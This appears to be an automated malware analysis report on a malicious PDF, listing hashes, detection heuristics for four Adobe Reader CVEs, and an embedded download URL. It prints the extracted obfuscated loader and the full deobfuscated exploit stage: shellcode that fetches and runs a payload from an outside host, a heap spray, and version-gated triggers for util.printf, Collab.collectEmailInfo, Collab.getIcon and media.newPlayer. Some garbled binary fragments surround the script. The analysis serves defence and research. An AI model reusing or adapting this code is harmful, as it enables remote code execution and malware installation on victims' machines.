Malicious PDF — malware analysis report

Static analysis result for SHA-256 7e2d94babc2b8890…

MALICIOUS

PDF

12.7 KB Created: 2010-03-17 21:09:01 First seen: 2012-07-12
MD5: 11177542f1fd01e57f908893ab9c48d6 SHA-1: eb8cb343bbfe5d0d55874336058efb24251cfa7e SHA-256: 7e2d94babc2b88900dfee94170acd4dc3ababad8b61540058c83fd4f0db4ae22
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://ulbjqupw.cn/pila/exe.php?606717496665bcba. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ulbjqupw.cn/pila/exe.php?606717496665bcba Referenced by PDF JavaScript
    • http://ubqp.npl/x.h?077965caReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0022_000.js pdf-javascript-stream PDF /JS object 22 at offset 0x2C31 2797 bytes
SHA-256: dc77160a683cf8746edead6373ee75c13d1d4fe901c7cf085a82f01f1d68a171
Preview script
First 1,000 lines of the extracted script
var eP				=				[				"l"				,				"v"				,				""				,				"e"				,				"a"				];				f				=				new				 String				(				eP				[				3				]				+				eP				[				1				]				+				eP				[				4				]				+				eP				[				0				]				+				eP				[				2				]				)				;								var p				=				[				""				,				"geNth"				,				"Word"				,				"getPa"				];				v				=				new				 String				(				p				[				3				]				+				p				[				1				]				+				p				[				2				]				+				p				[				0				]				)				;								var t				=				[				"eNu"				,				"rds"				,				"mWo"				,				"get"				,				"Pag"				,				""				];				pE				=				new				 String				(				t				[				3				]				+				t				[				4				]				+				t				[				0				]				+				t				[				2				]				+				t				[				1				]				+				t				[				5				]				)				;								var mX				=				[				"n"				,				"u"				,				"e"				,				"a"				,				"s"				,				"c"				,				""				,				"p"				,				"e"				];				n				=				new				 String				(				mX				[				1				]				+				mX				[				0				]				+				mX				[				2				]				+				mX				[				4				]				+				mX				[				5				]				+				mX				[				3				]				+				mX				[				7				]				+				mX				[				2				]				+				mX				[				6				]				)				;								var pA				=				[				"cha"				,				"t"				,				""				,				"rCo"				,				"deA"				];				wJ				=				new				 String				(				pA				[				0				]				+				pA				[				3				]				+				pA				[				4				]				+				pA				[				1				]				+				pA				[				2				]				)				;								var vS				=				[				""				,				"de"				,				"fromC"				,				"harCo"				];				wN				=				new				 String				(				vS				[				2				]				+				vS				[				3				]				+				vS				[				1				]				+				vS				[				0				]				)				;								var l				=				[				"p"				,				"p"				,				""				,				"a"				];				x				=				new				 String				(				l				[				3				]				+				l				[				0				]				+				l				[				0				]				+				l				[				2				]				)				;												var z				=				this				;				var				 tY				=				String("swo%".substr(3))				;				var				 gR				=				2				;				var				 xI				=				String				;				var				 mN				=				0				;				var				 b				=				207				;				var				 x				=				z				[				x				]				;				var				 tK				=				3				;				var				 iR				=				z				[				n				]				;				var				 h				=				z				[				pE				]				(				tK				)				;				var				 lE				=				""				;								for				(				var				 uL				=				mN				;				uL				<				h				;				uL				+=				1				)				{								zC=z				[				v				]				(				tK				,				uL				)				;				var				 wR				=				zC				.				substr				(				zC				.				length				-				gR				,				gR				)				;				var				 lU				=				iR				(				tY				+				wR				)				;				var				 iRC				=				lU				[				wJ				]				(				mN				)				;				var				 cP				=				iRC				^				b				;				lE				+=				xI				[				wN				]				(				cP				)				;				}				this				[				f				]				(				lE				)				;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3521 bytes
SHA-256: 4180d567a202db258d462b7c7cda8a33fe1849c3eddfd8fc557c417424c1e84a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://ulbjqupw.cn/pila/exe.php?606717496665bcba */
var _u="http://ulbjqupw.cn/pila/exe.php?606717496665bcba";
  b  ""t"0  !b  b   a    ab   b bb!a!ab a "a "" "   "  a aaaaa
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

   dddd b  ba  "0aa0 "a" a  "  a0    ! "  "ca  a"0a0 c0""ca    a" 0"!"!0"! 00!!" !b d      db   d���

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